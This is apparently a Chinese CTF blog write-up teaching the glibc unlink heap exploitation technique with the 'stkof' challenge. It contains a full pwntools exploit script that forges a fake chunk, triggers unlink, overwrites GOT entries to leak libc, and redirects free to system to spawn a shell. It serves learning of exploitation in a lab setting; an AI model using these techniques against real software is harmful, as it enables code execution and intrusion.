pwn知识——unlink(smallbins)
是我的错觉么,总觉得unlink比UAF好懂好多...也有可能是我觉得做题模板比较好理解一点,真要深入的话我感觉一个头会比两个大emmmm
原理及其条件
原理
unlink顾名思义,脱链,把一个空闲的chunk从unsorted bin里取出来,与物理相邻的chunk合成一个一个大堆块(分“前合”,“后合”’)。这里用图来解释会更清晰一些
原本的堆块结构是这样的,双向链表
FD = P->fd
BK = P->bk
在unlink经过一系列操作之后成了这样
FD->bk = BK
BK->fd = FD
我们可以很清楚的看到,BK->fd不再指向p->prev_size而是FD->prev_size,而FD-bk同理,指向了BK->prev_size,就把P给脱了出来,等待下一个被free的与它物理相邻的堆块,与其合并成新的堆块。比如P和FD都被free了,那么P和FD就会合成为新的堆块,chunk头就是P的首地址,而如果是BK和P合并的话,chunk头就是BK的首地址,所以前合与后合是不一样的
那么我们要是可以伪造fd和bk弄出了fake_chunk,是不是就可以进行任意地址读写了?
条件
想要利用这个漏洞,那么你就必须拥有修改被free掉的堆块的权限,即UAF漏洞
关键源码
unlink的源码其实很长,但我们需要动用的部分其实很少,我就把那部分代码截出来进行解读
#define unlink(BK,P,FD){
FD = P->fd;
BK = P-bk;
if(__builtin_expect(FD->bk != P || BK-> != P,0))
malloc_printerr(check_action,"corrupted doubnle-linked list",P,AV);
//说人话就是如果FD->bk指向的不是P或BK->fd指向的不是P,那么就会报错,不允许进行这样的修改
FD->bk = BK;
BK->fd = FD;
}
所以我们要想伪造fake_chunk,那么我们就要满足这样的表达式
P->fd->bk == P <=> *(P->fd + 0x18) == P
p->bk->fd == P <=> *(p->bk + 0x10) == P
那么我们伪造的fd和bk就是
P->fd = P - 0x18
P->bk = P - 0x10
其最终效果就是往P里写入(P-0x18)的值
例题(stkof)
审视源码
main函数,可以看到是去符号表的,通过1,2,3,4来执行相应函数,类似于menu
首先看寻找下malloc
在哪里,经查询,当v3 == 1
时,该函数就是malloc
有了malloc,后面的函数就更好对应了,那我们来看看v3 == 2
是什么
可以看到,有两个输入,最开始会查询数组s中的v2存不存在,不存在就Fail,所以可以看做是index,而第二个输入比较复杂,先是把s字符串转为整形赋给n,ptr取s[v2]的内容,在for循环里逐字节对应,那么我们可以得到n为size
,而ptr为content
,那么这一整个函数就可以说是edit
再看看v3 == 3
,很明显是个free
其实只要有这三个函数就足够了,剩下的那个函数就是个checkin,看看你写入没有,非必要就不展示了
Payload
可能是我ubuntu22.04版本有点高,本地调不通,所以我本来想很详细的写gdb调试过程的,但是却因为本地调不成功而远端可打,迫于无奈只能先把payload整个放出来,然后逐步解释
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
#p = process('./stkof')
p = remote('node5.buuoj.cn',25670)
elf = ELF('./stkof')
def malloc(size):
p.sendline('1')
p.sendline(str(size))
def edit(index,size,content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
def free(index):
p.sendline('3')
p.sendline(str(index))
P = 0x602150
FD = P - 0x18
BK = P - 0x10
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
malloc(0x30)
malloc(0x30)
malloc(0x80)
malloc(0x80)
#gdb.attach(p)
payload = p64(0) + p64(0x31)
payload += p64(FD) + p64(BK)
payload += b'a' * 0x10
payload += p64(0x30) + p64(0x90)
#gdb.attach(p)
edit(2,0x40,payload)
#gdb.attach(p)
free(3)
#gdb.attach(p)
payload_change = p64(0)
payload_change += p64(atoi_got)
payload_change += p64(puts_got)
payload_change += p64(free_got)
edit(2,len(payload_change),payload_change)
payload_leak = p64(puts_plt)
edit(2,len(payload_leak),payload_leak)
free(1)
puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real_addr:'+hex(puts_real_addr))
libc_base = puts_real_addr - 0x6f690
log.success('libc_base:'+hex(libc_base))
system_addr = libc_base + 0x45390
log.success('system_addr:'+hex(system_addr))
edit(2,0x08,p64(system_addr))
malloc(0x20)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
free(4)
p.interactive()
逐步讲解
伪造fake_chunk
首先是很常规的步骤,创建四个堆块,然后根据unlink原理伪造fd和bk,创造出fake_chunk
malloc(0x30)
malloc(0x30)
malloc(0x80)
malloc(0x80)
payload = p64(0) + p64(0x31)
payload += p64(FD) + p64(BK) #跟选取的堆块有关
payload += b'a' * 0x10 #因为我开辟的堆块大小为0x30,为了覆盖到下一个堆块头,得先把这0x30填充完
payload += p64(0x30) + p64(0x90)
edit(2,0x40,payload)
free(3)
我们一次来看edit之前,edit和free后的状况
edit前
首先我们先排除三个堆块,分别为系统创造的size为0x290,0x1000,0x410(其实都比真实开辟的地址大0x10),其余的才是我们创造的堆块。
我们可以看到最初的堆块构造
edit
现在我们已经把payload的内容写进去了,fd和bk也都伪造好了,不过在伪造fd,bk之前,得先确定堆块的位置,先来看看如何根据堆块的位置进行伪造fd,bk指针
0x602140是数组s的首地址,也是我们堆所在的地方,我们可以很清楚的看到,因为我选取的是堆块2
,对应的地址是0x602150-->0x1ed4700
,所以我的P == 0x612150
,那么fd和bk也就应运而生
free
从这里开始我的gdb就开始失败了,为了连贯我还是把它放出来
按照正常情况,我最开始的0x31应该会被修改成0xc1,而bk和fd也会被解析为真实地址,但是不知为何没有,应该是ubuntu版本问题。
如果正常运行的话,堆会变成这样
那么我们现在就可以进行任意地址写了
PS:由于堆块2和3已经合并了,所以这里的chunk3实际是我开辟的第四个堆块
修改chunk
思路
从这里开始可能就比较意识流了,我会尽量进行详细解释,让大家看懂
payload_change = p64(0) #0x602138
payload_change += p64(atoi_got) #0x602140
payload_change += p64(puts_got) #0x602148
payload_change += p64(free_got) #0x602150
edit(2,len(payload_change),payload_change) #相当于从0x602138开始写入地址
payload_leak = p64(puts_plt)
edit(2,len(payload_leak),payload_leak) #泄露任意你想要的地址
free(1) #puts对应所在堆块
puts_real_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('puts_real_addr:'+hex(puts_real_addr))
我们要进行任意地址写,就必须从0x602138入手,也就是我们的堆块2入手,我们把got表填写进chunk之中,通过改写got表来实现任意操作。因为我们的程序中不存在system,所以我们得先泄露出libc_base才行,把free改成puts即可通过free任意地址打印出对应函数的真实地址
first_edit
second_edit
泄露
我们已经把free_got指向了puts,那么我们free任意堆块都相当于puts出了它的真实地址,只需要接收地址即可,因为2我泄露的是puts函数,puts函数是在堆块1内,所以我是free(1)
收尾
libc_base = puts_real_addr - 0x6f690
log.success('libc_base:'+hex(libc_base))
system_addr = libc_base + 0x45390
log.success('system_addr:'+hex(system_addr))
edit(2,0x08,p64(system_addr))
malloc(0x20)
payload = b'/bin/sh\x00'
edit(4,len(payload),payload)
free(4)
p.interactive()
把free再次改成system,然后往空堆块里塞/bin/sh
再free即可
疑惑点
哪位佬能告诉我为啥我ubuntu22.04调试不成功...是它源码又更新了吗?感觉unlink没法在高版本ubuntu使用了的样子